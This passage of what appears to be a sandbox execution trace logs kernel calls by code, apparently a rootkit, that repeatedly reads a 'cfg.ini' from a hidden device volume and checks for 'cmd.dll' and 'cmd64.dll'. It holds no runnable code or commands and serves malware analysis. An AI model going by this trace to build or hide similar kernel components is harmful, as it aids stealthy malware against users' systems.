Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.835] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.835] IdePortDispatch () returned 0x103 [0120.835] KeWaitForMutexObject () returned 0x0 [0120.835] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.835] KeLeaveCriticalRegion () [0120.835] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.836] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.836] KeEnterCriticalRegion () [0120.836] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.836] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.836] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.836] KeLeaveCriticalRegion () [0120.836] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.836] KeEnterCriticalRegion () [0120.836] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.836] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.836] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd9c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.836] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.836] KeLeaveCriticalRegion () [0120.836] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.836] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.836] KeEnterCriticalRegion () [0120.836] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.836] ExFreePoolWithTag (P=0xfffffa8003bbb700, Tag=0x0) [0120.836] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.836] KeLeaveCriticalRegion () [0120.836] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.836] ReleaseMutex (hMutex=0xf0) returned 1 [0120.836] Sleep (dwMilliseconds=0x124f80) [0120.850] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.850] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.850] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.850] KeEnterCriticalRegion () [0120.850] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.850] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.850] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.850] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.850] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0120.850] IdePortDispatch () returned 0x103 [0120.850] KeWaitForMutexObject () returned 0x0 [0120.850] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.850] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.850] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.850] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.850] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.850] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbdbc0 [0120.850] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.850] KeLeaveCriticalRegion () [0120.850] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.850] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.850] KeEnterCriticalRegion () [0120.850] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.850] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.850] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.851] KeLeaveCriticalRegion () [0120.851] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.851] KeEnterCriticalRegion () [0120.851] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.851] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.851] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.851] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.851] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0120.851] IdePortDispatch () returned 0x103 [0120.851] KeWaitForMutexObject () returned 0x0 [0120.851] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.851] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.851] KeLeaveCriticalRegion () [0120.851] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.851] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.851] KeEnterCriticalRegion () [0120.851] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.851] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003510000 [0120.851] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.851] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.851] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.851] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.851] IdePortDispatch () returned 0x103 [0120.851] KeWaitForMutexObject () returned 0x0 [0120.851] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.851] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.851] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.851] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.851] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.851] IdePortDispatch () returned 0x103 [0120.852] KeWaitForMutexObject () returned 0x0 [0120.852] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.852] KeLeaveCriticalRegion () [0120.852] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.852] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.852] KeEnterCriticalRegion () [0120.852] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.852] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.852] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.852] KeLeaveCriticalRegion () [0120.852] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.852] KeEnterCriticalRegion () [0120.852] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.852] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.852] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.852] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.852] KeLeaveCriticalRegion () [0120.852] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.852] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.852] KeEnterCriticalRegion () [0120.852] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.852] ExFreePoolWithTag (P=0xfffffa8003bbdbc0, Tag=0x0) [0120.852] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.853] KeLeaveCriticalRegion () [0120.853] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.853] ReleaseMutex (hMutex=0xf0) returned 1 [0120.853] Sleep (dwMilliseconds=0x124f80) [0120.867] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.868] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.868] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.868] KeEnterCriticalRegion () [0120.868] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.868] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.868] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.868] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.868] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0120.868] IdePortDispatch () returned 0x103 [0120.868] KeWaitForMutexObject () returned 0x0 [0120.868] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.868] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.868] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.868] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.868] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.868] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbd850 [0120.868] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.868] KeLeaveCriticalRegion () [0120.868] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.868] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.868] KeEnterCriticalRegion () [0120.868] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.868] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.868] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.868] KeLeaveCriticalRegion () [0120.868] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.868] KeEnterCriticalRegion () [0120.868] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.868] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.868] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.868] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.868] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0120.868] IdePortDispatch () returned 0x103 [0120.868] KeWaitForMutexObject () returned 0x0 [0120.869] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.869] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.869] KeLeaveCriticalRegion () [0120.869] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.869] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.869] KeEnterCriticalRegion () [0120.869] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.869] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003515000 [0120.869] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.869] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.869] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.869] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.869] IdePortDispatch () returned 0x103 [0120.869] KeWaitForMutexObject () returned 0x0 [0120.869] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.869] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.869] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.869] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.869] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.869] IdePortDispatch () returned 0x103 [0120.869] KeWaitForMutexObject () returned 0x0 [0120.869] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.869] KeLeaveCriticalRegion () [0120.869] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.870] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.870] KeEnterCriticalRegion () [0120.870] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.870] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.870] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.870] KeLeaveCriticalRegion () [0120.870] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.870] KeEnterCriticalRegion () [0120.870] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.870] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.870] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.870] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.870] KeLeaveCriticalRegion () [0120.870] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.870] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.870] KeEnterCriticalRegion () [0120.870] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.870] ExFreePoolWithTag (P=0xfffffa8003bbd850, Tag=0x0) [0120.870] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.870] KeLeaveCriticalRegion () [0120.870] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.870] ReleaseMutex (hMutex=0xf0) returned 1 [0120.870] Sleep (dwMilliseconds=0x124f80) [0120.884] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.884] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.884] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.884] KeEnterCriticalRegion () [0120.884] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.885] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.885] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.885] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.885] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0120.885] IdePortDispatch () returned 0x103 [0120.885] KeWaitForMutexObject () returned 0x0 [0120.885] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.885] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.885] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.885] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.885] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.885] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbd1f0 [0120.885] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.885] KeLeaveCriticalRegion () [0120.885] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.885] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.885] KeEnterCriticalRegion () [0120.885] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.885] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0120.885] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.885] KeLeaveCriticalRegion () [0120.885] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.885] KeEnterCriticalRegion () [0120.885] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.885] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.885] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.885] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.885] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0120.885] IdePortDispatch () returned 0x103 [0120.885] KeWaitForMutexObject () returned 0x0 [0120.886] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.886] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.886] KeLeaveCriticalRegion () [0120.886] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.886] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.886] KeEnterCriticalRegion () [0120.886] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.886] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800351a000 [0120.886] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.886] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0120.886] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.886] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.886] IdePortDispatch () returned 0x103 [0120.886] KeWaitForMutexObject () returned 0x0 [0120.886] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.886] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.886] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0120.886] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.886] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.886] IdePortDispatch () returned 0x103 [0120.886] KeWaitForMutexObject () returned 0x0 [0120.886] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.886] KeLeaveCriticalRegion () [0120.886] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.887] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.887] KeEnterCriticalRegion () [0120.887] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.887] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0120.887] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.887] KeLeaveCriticalRegion () [0120.887] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.887] KeEnterCriticalRegion () [0120.887] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.887] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0120.887] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.887] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.887] KeLeaveCriticalRegion () [0120.887] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.887] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.887] KeEnterCriticalRegion () [0120.887] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.887] ExFreePoolWithTag (P=0xfffffa8003bbd1f0, Tag=0x0) [0120.887] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.887] KeLeaveCriticalRegion () [0120.887] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.887] ReleaseMutex (hMutex=0xf0) returned 1 [0120.887] Sleep (dwMilliseconds=0x124f80) [0120.901] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.901] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.901] _snprintf (in: 